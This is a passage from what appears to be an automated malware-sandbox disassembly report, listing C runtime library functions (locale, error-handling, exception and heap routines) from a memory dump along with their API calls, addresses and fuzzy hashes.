GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00933125

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0b066bb36c90d6ba8546fbb74342923287fb19791757fdcf33d0dc9c0fe5606e
Instruction ID: 79757d7e88a8103530fb13dac675fae6b5a9202a12060ff92ec2a7c115347eea
Opcode Fuzzy Hash: 0b066bb36c90d6ba8546fbb74342923287fb19791757fdcf33d0dc9c0fe5606e
Instruction Fuzzy Hash: D6112536655216ABDB14EB68EC42EBA73ECEF45310F10817AF501D7240EB38EE009B90

Function 00932C64 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

EnumSystemLocalesW.KERNEL32(00932CFF,00000001,00000000,?,-00000050,?,00932AEF,00000000,-00000002,00000000,?,00000055,?), ref: 00932CD6

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d8d1e7e3e89286364fd674fe694e1ae4f5d95377563bf658f3cfd6247c1d9506
Instruction ID: d4d7c1de21878d251527e82f2d8c0e2ba6baa795d6cad392cafddb3c5245f02f
Opcode Fuzzy Hash: d8d1e7e3e89286364fd674fe694e1ae4f5d95377563bf658f3cfd6247c1d9506
Instruction Fuzzy Hash: 4711E53B2047059FDB18AF39C8A16BABB96FF80758F14842CE98687B40D771A943DB40

Function 0093327E Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00932F1B,00000000,00000000,?), ref: 009332AA

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 09df87c0e08616f5a8fdef144109b46a7522d5455a2cb977fc21fb7f2eead090
Instruction ID: cedb163b0aa936ac09ecc3f83c81585efe3184c79d5cece86a237e3281d2d23e
Opcode Fuzzy Hash: 09df87c0e08616f5a8fdef144109b46a7522d5455a2cb977fc21fb7f2eead090
Instruction Fuzzy Hash: 9A014936640112BFDB185B24CC06BBB3758DB40754F158529EC22A3180EA75FF41CED4

Function 00932F52 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

EnumSystemLocalesW.KERNEL32(00932FB1,00000001,?,?,-00000050,?,00932AB7,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00932F9C

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d0894ac4c3dd572f7a13d93049cea8f74503d4d7a3462df2baa53a852b5f1304
Instruction ID: 8d3c8faf6906429030ad65db915048eb4bdc6a2f3a0525522a77eb34e0f89209
Opcode Fuzzy Hash: d0894ac4c3dd572f7a13d93049cea8f74503d4d7a3462df2baa53a852b5f1304
Instruction Fuzzy Hash: A5F0F6362043086FDB146F399881B7A7BA5EFC0768F05842CF9454B680C7B19C42DA50

Function 0092F717 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0092B750: EnterCriticalSection.KERNEL32(-00023A67,?,00928F5A,00000000,009444D8,0000000C,00928F13,?,?,0092F83A,?,?,0092E921,00000001,00000364,009231E1), ref: 0092B75F

EnumSystemLocalesW.KERNEL32(0092F70A,00000001,00944928,0000000C,0092F118,-00000050), ref: 0092F74F

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 3c37f2f15d6c768b13197a858662aef402e2faa3308249d7f26346aaad9648bc
Instruction ID: 7f6e1f3c931a87260b9e6fc065fb6f9cba545c32f3604b4254021e084163b8b0
Opcode Fuzzy Hash: 3c37f2f15d6c768b13197a858662aef402e2faa3308249d7f26346aaad9648bc
Instruction Fuzzy Hash: 93F037B6A18214DFD700DFA8E842F9D77B0FB89725F00816AE400DB2A1DB7949049F80

Function 00933086 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

EnumSystemLocalesW.KERNEL32(009330D1,00000001,?,?,?,00932B11,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 009330BD

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 03ca13e97ee964274197f1143fc15ec95fd1b2621404ad09c93e6ea92a12a5ab
Instruction ID: 1da0c844c1a4fa52b1c73752c2b3a2a7d87b73a35623ed4173938eb21f3f4bfd
Opcode Fuzzy Hash: 03ca13e97ee964274197f1143fc15ec95fd1b2621404ad09c93e6ea92a12a5ab
Instruction Fuzzy Hash: 54F0233A74020957CB0CDF35D8457667F95EFC1714F068058EE058B651C671D942DB90

Function 0092F21C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,0092A4BC,?,20001004,00000000,00000002,?,?,009293CE), ref: 0092F250

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 95184ce390e72c09c79bfcd36b587261f3741203e2128814ff8f949140609a67
Instruction ID: 37136c0a5c2b082e63bb7a26487adf0ad83c40e43805dc17f890d707d62e06db
Opcode Fuzzy Hash: 95184ce390e72c09c79bfcd36b587261f3741203e2128814ff8f949140609a67
Instruction Fuzzy Hash: 12E04F3A504138FBCF126F60EC15FAE3F29EF857A0F004430FD1565265CB718920AA95

Function 00925014 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005135), ref: 00925019

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5a5359c00a47f8a676e13e85a651e0c327416fc7be86661066633649ae575a10
Instruction ID: 2967b81c919af36ed8e5cf24b62096b2454927997e9acf00740650f8add5ddbd
Opcode Fuzzy Hash: 5a5359c00a47f8a676e13e85a651e0c327416fc7be86661066633649ae575a10
Instruction Fuzzy Hash:

Function 0092FE2C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0092FE2C

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 6d31c28ab71572eb32e295c7adc276b106d9da60cd7b4060a361296118d6cb7d
Instruction ID: 4556360a4e2cd904444be402fb0f560ab81afb61576a3f208e79245178307d89
Opcode Fuzzy Hash: 6d31c28ab71572eb32e295c7adc276b106d9da60cd7b4060a361296118d6cb7d
Instruction Fuzzy Hash: 2CA012B4519100CB53008F31A904E083A9855071813048054A040C0020E73080407F01

Function 0093A222 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0077FEE0,0077FEE0,00000000,7FFFFFFF,?,0093A20D,0077FEE0,0077FEE0,00000000,0077FEE0,?,?,?,?,0077FEE0,00000000), ref: 0093A2C8
__alloca_probe_16.LIBCMT ref: 0093A383
__alloca_probe_16.LIBCMT ref: 0093A412
__freea.LIBCMT ref: 0093A45D
__freea.LIBCMT ref: 0093A463
__freea.LIBCMT ref: 0093A499
__freea.LIBCMT ref: 0093A49F
__freea.LIBCMT ref: 0093A4AF

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 0d192362818210641fd04e7ca688b56cc652455592a2eb983d37366621c366a4
Instruction ID: 7152f7c7b501a3836365ab49f903e73a401d7c1952f4c58c1c68d0220515a704
Opcode Fuzzy Hash: 0d192362818210641fd04e7ca688b56cc652455592a2eb983d37366621c366a4
Instruction Fuzzy Hash: 3371F732900215AFDF219E949C89FAF7BBE9F85310F254459F985A72A1E679CC008F62

Function 009254C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0092550C
__alloca_probe_16.LIBCMT ref: 00925538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00925577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00925594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 009255D3
__alloca_probe_16.LIBCMT ref: 009255F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00925632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00925655

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: ea2cb529eb280c923d0da809708810fc10c727f010c96cce18d018f824054b6b
Instruction ID: d7047ee128fc266b84a9e600cdac1751865ffd2f120892c72041067a1f31a0fd
Opcode Fuzzy Hash: ea2cb529eb280c923d0da809708810fc10c727f010c96cce18d018f824054b6b
Instruction Fuzzy Hash: FB51DE72610626AFEF209F60EC45FBA7BA9EF40740F568429F904E61A8DB34CD108B90

Function 009261E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00926217
___except_validate_context_record.LIBVCRUNTIME ref: 0092621F
_ValidateLocalCookies.LIBCMT ref: 009262A8
__IsNonwritableInCurrentImage.LIBCMT ref: 009262D3
_ValidateLocalCookies.LIBCMT ref: 00926328

Strings

csm, xrefs: 009262BD

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 51bcf3f14f019040b073ce2b0483e90a0be16c1320a560582de7baa0632c6f6f
Instruction ID: a6193c6514cd2bcd977df02a5eb579202aaf075d288f7a465a8427e400f57dae
Opcode Fuzzy Hash: 51bcf3f14f019040b073ce2b0483e90a0be16c1320a560582de7baa0632c6f6f
Instruction Fuzzy Hash: DE41D534A00228DFCF11DF68E880B9E7BB5EF85328F148555E8249B79AC731EE01CB91

Function 0092F469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0092F578,0092186A,?,00000000,009231E1,0092186C,?,0092F1F6,00000022,FlsSetValue,0093DFE0,0093DFE8,009231E1), ref: 0092F52A

Strings

ext-ms-, xrefs: 0092F4D4
api-ms-, xrefs: 0092F4C0

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6d826bd3b3e10fd07202885d0c946d95782264c28e941a36635367c87c88a28c
Instruction ID: c890f8567bcfbb475098310bb0254c27f5e3cd43160c566cafbae061088b29db
Opcode Fuzzy Hash: 6d826bd3b3e10fd07202885d0c946d95782264c28e941a36635367c87c88a28c
Instruction Fuzzy Hash: A421F376A12221ABCB219F25FC54E6B777C9F42764B204234FD06A72A4E770EE00DAD0

Function 0093625D Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182a54aec07066987311e00e489426a503c88b1e838475e826d307ac650380b6
Instruction ID: 789609da0d41b6b10d2b5273ed1d31fa225b9997b241759087fe024e672cd881
Opcode Fuzzy Hash: 182a54aec07066987311e00e489426a503c88b1e838475e826d307ac650380b6
Instruction Fuzzy Hash: 74B133B5E04354BFDB11DFA8E880BAE7BB5AF86310F1481A9F9019B296C7709941CF61

Function 0092D2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0092D2B7,00925FB7,00925179), ref: 0092D2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0092D2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0092D2F5
SetLastError.KERNEL32(00000000,0092D2B7,00925FB7,00925179), ref: 0092D347

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ed022a8115f9a7322f8ca3b25cd5e08c568399ec8000fab8eeede86406239ec6
Instruction ID: 9c397db88ebc1f1279e211d1e012a3c124d300f528b93e2b42c480449ef53576
Opcode Fuzzy Hash: ed022a8115f9a7322f8ca3b25cd5e08c568399ec8000fab8eeede86406239ec6
Instruction Fuzzy Hash: 4201F73621F732AFA6356BF5BCC5E6B6688EF427B97600329F120650F5EF114C04A6C1

Function 0092DB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0092DCA7
CallUnexpected.LIBVCRUNTIME ref: 0092DF20

Strings

csm, xrefs: 0092DC32
csm, xrefs: 0092DBC5
csm, xrefs: 0092DCDE

Memory Dump Source

Source File: 00000008.00000002.2144352860.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 00000008.00000002.2144316982.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144385630.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144420684.0000000000945000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144443576.0000000000946000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144467518.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144505461.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2144540356.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_920000_d2cb36d600.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: a3e077243eaa76f1e16b92495bcb27a7eda49e487b66eaac9e598f572651e32c
Instruction ID: aaf41f59c49b8a2e5648ef18f24f81b9735d9469634850e3ec443c5197ff46a7
Opcode Fuzzy Hash: a3e077243eaa76f1e16b92495bcb27a7eda49e487b66eaac9e598f572651e32c
Instruction Fuzzy Hash: 7DB1BF71802229EFCF24EFA4E881AAEB7B9FF55310F154059F8116B25AD370EA51CF91

Function 00928C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,1206BC9F,?,?,00000000,0093B774,000000FF,?,00928D16,00928BFD,?,00928DB2,00000000), ref: 00928C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00928C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,0093B774,000000FF,?,00928D16,00928BFD,?,00928DB2,00000000), ref: 00928CBE

Strings

mscoree.dll, xrefs: 00928C83
CorExitProcess, xrefs: 00928C94

